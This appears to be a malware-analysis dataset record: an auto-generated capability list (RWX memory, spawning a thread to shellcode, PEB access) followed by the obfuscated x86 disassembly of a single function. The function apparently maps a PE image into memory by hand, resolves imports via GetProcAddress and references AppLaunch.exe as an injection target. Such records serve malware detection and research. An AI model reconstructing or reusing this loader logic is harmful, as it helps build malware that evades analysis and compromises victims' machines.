Function at 0x410190
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x19c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1a0], eax
mov eax, dword [0x4f0880]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0x454a8584
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x1a4], eax
sub eax, 0x8020e6c9
je 0x41171c
jmp 0x4101d5
mov eax, dword [ebp - 0x1a4]
sub eax, 0x81e681b8
je 0x413782
jmp 0x4101eb
mov eax, dword [ebp - 0x1a4]
sub eax, 0x84050197
je 0x413c8a
jmp 0x410201
mov eax, dword [ebp - 0x1a4]
sub eax, 0x84e858a3
je 0x4144c6
jmp 0x410217
mov eax, dword [ebp - 0x1a4]
sub eax, 0x855d11d0
je 0x4146cb
jmp 0x41022d
mov eax, dword [ebp - 0x1a4]
sub eax, 0x85b2b2d5
je 0x4146da
jmp 0x410243
mov eax, dword [ebp - 0x1a4]
sub eax, 0x867bd04f
je 0x41426b
jmp 0x410259
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8790936e
je 0x412a73
jmp 0x41026f
mov eax, dword [ebp - 0x1a4]
sub eax, 0x87eeb963
je 0x41243f
jmp 0x410285
mov eax, dword [ebp - 0x1a4]
sub eax, 0x88140154
je 0x411f28
jmp 0x41029b
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8a2c8f94
je 0x413d0d
jmp 0x4102b1
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8a4f1925
je 0x4144a5
jmp 0x4102c7
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8a9d3f5f
je 0x4139f1
jmp 0x4102dd
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8d23337b
je 0x412be1
jmp 0x4102f3
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8e95c04c
je 0x41348f
jmp 0x410309
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8edfe133
je 0x41241f
jmp 0x41031f
mov eax, dword [ebp - 0x1a4]
sub eax, 0x8fa88628
je 0x412628
jmp 0x410335
mov eax, dword [ebp - 0x1a4]
sub eax, 0x90f03dd5
je 0x41454f
jmp 0x41034b
mov eax, dword [ebp - 0x1a4]
sub eax, 0x91499182
je 0x411bd1
jmp 0x410361
mov eax, dword [ebp - 0x1a4]
sub eax, 0x95a5a003
je 0x4125a3
jmp 0x410377
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9618ae8c
je 0x413581
jmp 0x41038d
mov eax, dword [ebp - 0x1a4]
sub eax, 0x96525071
je 0x412552
jmp 0x4103a3
mov eax, dword [ebp - 0x1a4]
sub eax, 0x98bfe5ab
je 0x4116a6
jmp 0x4103b9
mov eax, dword [ebp - 0x1a4]
sub eax, 0x99bbf6eb
je 0x413c14
jmp 0x4103cf
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9b6df9be
je 0x41421a
jmp 0x4103e5
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9d54f83f
je 0x4133ff
jmp 0x4103fb
mov eax, dword [ebp - 0x1a4]
sub eax, 0x9ddbf931
je 0x4134e0
jmp 0x410411
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa0a5be63
je 0x412130
jmp 0x410427
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa0e8db06
je 0x414433
jmp 0x41043d
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa210196d
je 0x41458e
jmp 0x410453
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa8569ddf
je 0x4115de
jmp 0x410469
mov eax, dword [ebp - 0x1a4]
sub eax, 0xa9fa913d
je 0x411fa3
jmp 0x41047f
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaa6e93cf
je 0x4131b5
jmp 0x410495
mov eax, dword [ebp - 0x1a4]
sub eax, 0xab33115b
je 0x411f7d
jmp 0x4104ab
mov eax, dword [ebp - 0x1a4]
sub eax, 0xacb7a5af
je 0x411ece
jmp 0x4104c1
mov eax, dword [ebp - 0x1a4]
sub eax, 0xad5d2810
je 0x414620
jmp 0x4104d7
mov eax, dword [ebp - 0x1a4]
sub eax, 0xae23db35
je 0x412f56
jmp 0x4104ed
mov eax, dword [ebp - 0x1a4]
sub eax, 0xae5b0c9c
je 0x412b93
jmp 0x410503
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaeeef4f7
je 0x411a6a
jmp 0x410519
mov eax, dword [ebp - 0x1a4]
sub eax, 0xaf79e46d
je 0x41387b
jmp 0x41052f
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb1801c8c
je 0x412078
jmp 0x410545
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb195783e
je 0x411ff3
jmp 0x41055b
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb2119a6a
je 0x41359f
jmp 0x410571
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb27ecc67
je 0x41369e
jmp 0x410587
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb3035c0b
je 0x412c01
jmp 0x41059d
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb3b5872c
je 0x411786
jmp 0x4105b3
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb4fe6560
je 0x413b05
jmp 0x4105c9
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb608a08d
je 0x4143a7
jmp 0x4105df
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb6882b07
je 0x412619
jmp 0x4105f5
mov eax, dword [ebp - 0x1a4]
sub eax, 0xb99742bc
je 0x411e5d
jmp 0x41060b
mov eax, dword [ebp - 0x1a4]
sub eax, 0xba1a1af1
je 0x413fba
jmp 0x410621
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbb1facf7
je 0x414635
jmp 0x410637
mov eax, dword [ebp - 0x1a4]
sub eax, 0xbf96d961
je 0x414403
jmp 0x41064d
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc11d49e9
je 0x4123f3
jmp 0x410663
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc28e1e0d
je 0x413a63
jmp 0x410679
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc2e81eca
je 0x41265f
jmp 0x41068f
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc30bd58f
je 0x41466b
jmp 0x4106a5
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc385dc14
je 0x414385
jmp 0x4106bb
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc3dc5c73
je 0x4144db
jmp 0x4106d1
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc49b807c
je 0x41380d
jmp 0x4106e7
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc4b2e788
je 0x4141df
jmp 0x4106fd
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc5971a15
je 0x411ea5
jmp 0x410713
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc5ac8592
je 0x41368f
jmp 0x410729
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc6f4d98b
je 0x412e97
jmp 0x41073f
mov eax, dword [ebp - 0x1a4]
sub eax, 0xc7b67bc1
je 0x414490
mov dword [ebp - 0x198], 0xea21ffa
jmp 0x4147ea
mov ecx, dword [0x4f1d4c]
mov eax, dword [0x4f1d48]
mov edx, ecx
sub edx, 0x8be88553
sub edx, 1
add edx, 0x8be88553
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe98d4d64
mov ecx, 0x8020e6c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
sub edx, 0x191b482e
sub edx, 1
add edx, 0x191b482e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe98d4d64
mov ecx, 0xd10d60f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x198], 0x75f62af
jmp 0x4147ea
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0xe4], eax
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
sub edx, 0xaff9d65d
sub edx, 1
add edx, 0xaff9d65d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc7b67bc1
mov ecx, 0xed2c342d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xe0]
mov eax, 0x3e088268
mov ecx, 0xef04ecf
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xd4]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xeb16d02e
jmp 0x4147ea
mov eax, dword [ebp - 0xcc]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xd0]
mov eax, 0x96525071
mov ecx, 0xacb7a5af
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xd145d010
sub ecx, eax
add ecx, 0xd145d010
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x17c]
mov ecx, dword [ecx]
sub eax, 0x95d8b4de
add eax, ecx
add eax, 0x95d8b4de
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x198], 0x88140154
jmp 0x4147ea
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov dword [ebp - 0x198], 0x69a4d904
jmp 0x4147ea
mov edx, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xc0]
mov eax, 0xedb38df6
mov ecx, 0xa9fa913d
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add eax, 0x68c1176b
sub eax, 8
sub eax, 0x68c1176b
shr eax, 1
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x198], 0xb195783e
jmp 0x4147ea
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov dword [eax], 0
mov dword [ebp - 0x198], 0x7f3a7f69
jmp 0x4147ea
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x198], 0x49cd8ed8
jmp 0x4147ea
mov dword [ebp - 0x198], 0x2ad0add5
jmp 0x4147ea
mov ecx, dword [ebp - 0xac]
sub ecx, 0x7124836a
add ecx, 1
add ecx, 0x7124836a
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x7f3a7f69
jmp 0x4147ea
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x198], 0x87eeb963
jmp 0x4147ea
mov eax, dword [ebp - 0xa8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x69a4d904
jmp 0x4147ea
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
sub edx, 0x50d6c7ab
sub edx, 1
add edx, 0x50d6c7ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d93b025
mov ecx, 0x95a5a003
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 8
mov dword [ebp - 0xa0], eax
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
sub edx, 0xabf502ee
sub edx, 1
add edx, 0xabf502ee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d93b025
mov ecx, 0xb6882b07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dword [ebp - 0x198], 0x8fa88628
jmp 0x4147ea
mov eax, dword [ebp - 0xa0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xa4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x198], 0xc2e81eca
jmp 0x4147ea
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
imul ecx, dword [ecx], 0x14
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x198], 0x6909267d
jmp 0x4147ea
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x4f1d4c]
mov eax, dword [0x4f1d48]
mov edx, ecx
add edx, 0x1f767067
sub edx, 1
sub edx, 0x1f767067
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa210196d
mov ecx, 0xf3253634
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
movzx eax, ax
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov edx, dword [ebp - 0x130]
mov eax, 0x8d23337b
mov ecx, 0xf6bf61a3
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x198], 0xb3035c0b
jmp 0x4147ea
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0xf6bf61a3
jmp 0x4147ea
mov dword [ebp - 0x198], 0x5032e057
jmp 0x4147ea
mov eax, dword [ebp - 0x124]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x198], 0x44b50774
jmp 0x4147ea
mov dword [ebp - 0x198], 0xd4e2bc5f
jmp 0x4147ea
mov eax, dword [ebp - 0x124]
mov dword [eax], 0x40
mov dword [ebp - 0x198], 0x33eba293
jmp 0x4147ea
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
add edx, 0xf45390db
sub edx, 1
sub edx, 0xf45390db
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc30bd58f
mov ecx, 0x9ddbf931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x80000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x54], eax
mov ecx, dword [0x4f1d4c]
mov eax, dword [0x4f1d48]
mov edx, ecx
add edx, 0x6c39eb6d
sub edx, 1
sub edx, 0x6c39eb6d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc30bd58f
mov ecx, 0x40dc6abb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov edx, dword [ebp - 0x54]
mov eax, 0x6c91eab5
mov ecx, 0xb2119a6a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov ecx, dword [0x4f1d4c]
mov eax, dword [0x4f1d48]
mov edx, ecx
sub edx, 0x4c94cff5
sub edx, 1
add edx, 0x4c94cff5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x23560c7
mov ecx, 0x39eb9fe7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dword [ebp - 0x198], 0xb27ecc67
jmp 0x4147ea
mov ecx, dword [0x4f1d4c]
mov eax, dword [0x4f1d48]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x60856566
mov ecx, 0x261c87fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dword [ebp - 0x198], 0x501e279d
jmp 0x4147ea
mov ecx, dword [0x4f1d4c]
mov eax, dword [0x4f1d48]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6cdd294f
mov ecx, 0xaf79e46d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dl, byte [ebp - 0x4d]
mov eax, 0xcd81256c
mov ecx, 0xe2c2d4b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x124]
mov dword [eax], 0x20
mov dword [ebp - 0x198], 0xd8274c0
jmp 0x4147ea
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
sub edx, 0x4a062014
sub edx, 1
add edx, 0x4a062014
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x855d11d0
mov ecx, 0xe1988889
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dl, byte [ebp - 0x45]
mov eax, 0x99bbf6eb
mov ecx, 0xd7e97fa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dword [ebp - 0x198], 0xf231dfab
jmp 0x4147ea
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbe1296f
mov ecx, 0x8a2c8f94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov dword [ebp - 0x198], 0xe13a589b
jmp 0x4147ea
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
add eax, 0x53c37637
add eax, 0x14
sub eax, 0x53c37637
mov ecx, dword [eax]
sub ecx, 0x9727c2ce
sub ecx, 8
add ecx, 0x9727c2ce
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
add eax, 0x247da4db
add eax, 8
sub eax, 0x247da4db
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
add eax, 0xf7f3c154
add eax, 0x18
sub eax, 0xf7f3c154
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x24
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x10c]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041f820
add esp, 0xc
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x108]
mov byte [eax], cl
mov eax, dword [ebp - 0x108]
mov dl, byte [eax]
mov eax, 0x9b6df9be
mov ecx, 0x28c708f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x10c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x198], 0x9b6df9be
jmp 0x4147ea
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
add edx, 0x7c0f3253
sub edx, 1
sub edx, 0x7c0f3253
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f0596df
mov ecx, 0x867bd04f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [0x4f1d4c]
mov ecx, dword [0x4f1d48]
mov edx, eax
add edx, 0x86e05cc7
sub edx, 1
sub edx, 0x86e05cc7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f0596df
mov ecx, 0x4d8cde60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x4147ea
mov ecx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x198], 0xb608a08d
jmp 0x4147ea
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x198], 0x3958359b
jmp 0x4147ea
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e9d0
mov eax, dword [ebp - 0x1a8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x198], 0x2bc6204a
jmp 0x4147ea
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x198], 0xe59d9bc4
jmp 0x4147ea
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x198], 0x2cdf427c
jmp 0x4147ea
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x198], 0x6e3c031a
jmp 0x4147ea
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x198], 0x5158a239
jmp 0x4147ea
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x198], 0x8790936e
jmp 0x4147ea
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x198], 0xf92a1d26
jmp 0x4147ea
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x198], 0x362d2247
jmp 0x4147ea
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x198], 0x9ddbf931
jmp 0x4147ea
mov dword [ebp - 0x198], 0xe1988889
jmp 0x4147ea
mov eax, dword [ebp - 0x124]
mov dword [eax], 2
mov dword [ebp - 0x198], 0x2947be4e
jmp 0x4147ea
jmp 0x4101b9